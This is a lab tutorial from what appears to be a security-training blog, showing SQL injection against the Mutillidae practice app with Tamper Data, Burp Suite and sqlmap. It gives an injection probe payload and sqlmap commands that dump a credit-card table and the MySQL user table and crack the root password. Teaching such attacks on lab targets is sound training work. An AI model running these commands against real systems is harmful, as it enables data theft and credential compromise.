Home »
OWASP
» OWASP Top 10 Web Hacking Final Lab 12 - SQL Injection with sqlmap, tamper data & burpsuite
OWASP Top 10 Web Hacking Final Lab 12 - SQL Injection with sqlmap, tamper data & burpsuite
{ SQL Injection with sqlmap, tamper data & burpsuite }
OWASP Top 10 Web Hacking Final Lab 12
Navigate to "View Someones Blog" |
- On BackTrack, Open Firefox
- Instructions:
- Click on the Firefox Icon
- Notes (FYI):
- If FireFox Icon does not exist in the Menu Bar Tray, then go to Applications --> Internet --> Firefox Web Browser
- Open Mutillidae
- Notes (FYI):
- Replace 192.168.1.111 in the following URL --> http://192.168.1.111/mutillidae, with your Mutillidae's IP Address obtained from (Section 3, Step 3)
- Instructions:
- http://192.168.1.111/mutillidae
- Go to View Someones Blog
- Instructions:
- OWASP Top 10 --> A1 - SQL Injection --> SQLMAP Practice --> View Someones Blog
Section 8. Positive SQL Injection Test |
- Activate Tamper Data
- Instructions:
- Tools --> Tamper Data
- Start the Tamper
- Instructions:
- Click on Start Tamper
- View Blog Entries
- Instructions:
- Select "admin" from the drop down menu
- Click on the View Blog Entries
- Tamper with request?
- Instructions:
- Click on the Tamper Button
- Modify Post Parameter Values
- Instructions:
- Replace admin with '' --
- Where there are two single quotes (').
- Remember to put a space after the last hyphen (-).
- Click the OK Button
- Note(FYI):
- The goal of submitting '' -- to the webpage form is to produce empty results without triggering an error.
- Some web administrators have automated alerts that are triggered from application and database log errors.
- So in this case, we now know a SQL injection is possible, without creating an error.
- Close Tamper Data
- Instructions:
- Click the X to close Tamper Data
- Note(FYI):
- We are closing Tamper Data, because we no longer need to tamper with any HTTP POST REQUESTS.
- Continue to Next Step.
- Viewing the Results
- Note(FYI):
- Notice 0 records where returned.
- This test was positive, because it did not trigger any errors, but it did produce the column headers if results were to be returned.
Section 12. Configure Firefox Proxy Settings |
- View Preferences
- Instructions:
- Edit --> Preferences
- Advanced Settings...
- Instructions:
- Click on the Advanced Icon
- Click on the Network Tab
- Click on the Setting... button
- Connection Settings
- Instructions:
- Click on Manual proxy configurations
- Type "127.0.0.1" in the HTTP Proxy Text Box
- Type "8080" in the Port Text Box
- Check Use the proxy server for all protocols
- Click OK
- Click Close
Section 13. Configure Burp Suite |
- Start Burp Suite
- Instructions:
- Applications --> BackTrack --> Vulnerability Assessment --> Web Application Assessment ---> Web Application Proxies --> burpsuite
- JRE Message
- Configure proxy
- Instructions:
- Click on the proxy tab
- Click on the options tab
- Verify the port is set to 8080
Section 12. Capture Post Parameters with Burpsuite |
- View Blog Entries
- Instructions:
- Select "admin" from the drop down menu
- Click on the View Blog Entries
- Copy Post Parameter
- Instructions:
- Highlight all the text.
- Right Click on the Highlighted text.
- This will create menu list.
- Select Copy.
- Open gedit
- Notes (FYI):
- gedit is a UTF-8 compatible text editor for the GNOME desktop environment, Mac OS X and Microsoft Windows.
- Instructions:
- gedit /pentest/database/sqlmap/burp.txt &
- Save File
- Notes (FYI):
- The Edit-->Paste feature does not work from burpsuite; therefore, you will press the <Ctrl> and v keys to paste.
- Instructions:
- Press the <Ctrl> and v keys to paste.
- Click the Save button
Section 13. Using sqlmap against Mutillidae |
- View Databases with sqlmap
- Instructions:
- cd /pentest/database/sqlmap
- grep "Referer" burp.txt | awk '{print $2}'
- grep "author" burp.txt
- grep "Cookie" burp.txt | sed 's/Cookie: //'
- ./sqlmap.py -u "http://192.168.1.111/mutillidae/index.php?page=view-someones-blog.php" --data="author=admin&view-someones-blog-php-submit-button=View+Blog+Entries" --cookie="showhints=0; PHPSESSID=6lmbhjodbtnj6o5ajuli7p1s24" --dbs
- Replace 192.168.1.111. with Mutillidae's IP address obtained from (Section 3, Step 3).
- Replace the following cookie string showhints=0; PHPSESSID=6lmbhjodbtnj6o5ajuli7p1s24 with the cookie obtain from the Step 4 above.
- View Database Results
- Instructions:
- Do you want to keep testing the others? [y/N] N
- Notice the databases sqlmap returns.
- View nowasp database tables
- Instructions:
- Press the UP ARROW to display the previous command
- ./sqlmap.py -u "http://192.168.1.111/mutillidae/index.php?page=view-someones-blog.php" --data="author=admin&view-someones-blog-php-submit-button=View+Blog+Entries" --cookie="showhints=0; PHPSESSID=6lmbhjodbtnj6o5ajuli7p1s24" -D nowasp --tables
- Notes (FYI):
- -D nowasp --tables, display the nowasp database tables.
- View table results with sqlmap
- Note(FYI):
- Notice the 11 nowasp tables
- Notice there is a credit card table.
- Retrieve credit_cards table contents
- Instructions:
- Press the UP ARROW to display the previous command
- ./sqlmap.py -u "http://192.168.1.111/mutillidae/index.php?page=view-someones-blog.php" --data="author=admin&view-someones-blog-php-submit-button=View+Blog+Entries" --cookie="showhints=0; PHPSESSID=6lmbhjodbtnj6o5ajuli7p1s24" -D nowasp -T credit_cards --dump
- Note(FYI):
- -D nowasp -T credit_cards --dump, display the credit_cards table content.
- Review credit_cards table results
- Instructions:
- Do you want to use dictionary attack ... [Y/n/q] n
- Notice the pretend credit card numbers.
Section 14. Using sqlmap -- Load HTTP request from a file |
- View Databases with sqlmap
- Instructions:
- ./sqlmap.py -r burp.txt --dbs
- Note(FYI):
- -r, This option is very kool. It allows you to use the burpsuite file we saved in (Section 12, Step 4), instead of using the -u, --data, and --cookie options.
- --dbs, This options displays all the databases.
- I guess I could of showed you this option earlier, but good things come to those who wait.
- View Databases results
- Note(FYI):
- Notice that all the databases are displayed similar to (Section 13, Step 2).
- The mysql database contains important internal tables including usernames and passwords.
- View tables with sqlmap
- Instructions:
- ./sqlmap.py -r burp.txt -D mysql --tables
- Note(FYI):
- -D mysql --tables, This option displays the mysql database tables.
- View tables results
- Note(FYI):
- Notice all the tables for the mysql database are displayed.
- The user table contains all the usernames and passwords for each database.
- View user table contents with sqlmap
- Instructions:
- ./sqlmap.py -r burp.txt -D mysql -T user --dump
- Note(FYI):
- -D mysql -T user --dump, This option displays the content of the user table in the mysql database.
- View user table password
- Instructions:
- Do you want to sue dictionary attack ... [Y/n/q] Y
- What's the dictionary location? <Press Enter>
- Do you want to use common password suffices? [y/N] N
- Notice the user is 'root' and the password is 'samurai'
- Proof of Lab Các bạn hãy quay lại toàn bộ tiến trình thực hành và text note có tên của mình
0 comments:
Post a Comment